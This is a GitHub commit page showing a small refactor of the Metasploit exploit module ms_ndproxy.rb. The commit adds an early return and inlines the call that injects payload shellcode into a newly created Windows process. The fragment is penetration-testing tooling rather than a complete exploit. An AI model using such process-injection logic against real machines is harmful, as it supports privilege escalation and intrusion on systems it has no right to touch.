Skip to content

Commit 84759a5

Browse files
committed
Save one variable
1 parent 042bd4f commit 84759a5

File tree

1 file changed

+2
-3
lines changed

1 file changed

+2
-3
lines changed

modules/exploits/windows/local/ms_ndproxy.rb

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -437,12 +437,11 @@ def exploit
437437

438438
if new_pid.nil?
439439
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
440+
return
440441
end
441442

442443
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
443-
shellcode_executed = execute_shellcode(p, nil, new_pid)
444-
445-
if shellcode_executed
444+
if execute_shellcode(p, nil, new_pid)
446445
print_good("Enjoy")
447446
else
448447
fail_with(Failure::Unknown, "Error while executing the payload")

0 commit comments

Comments
 (0)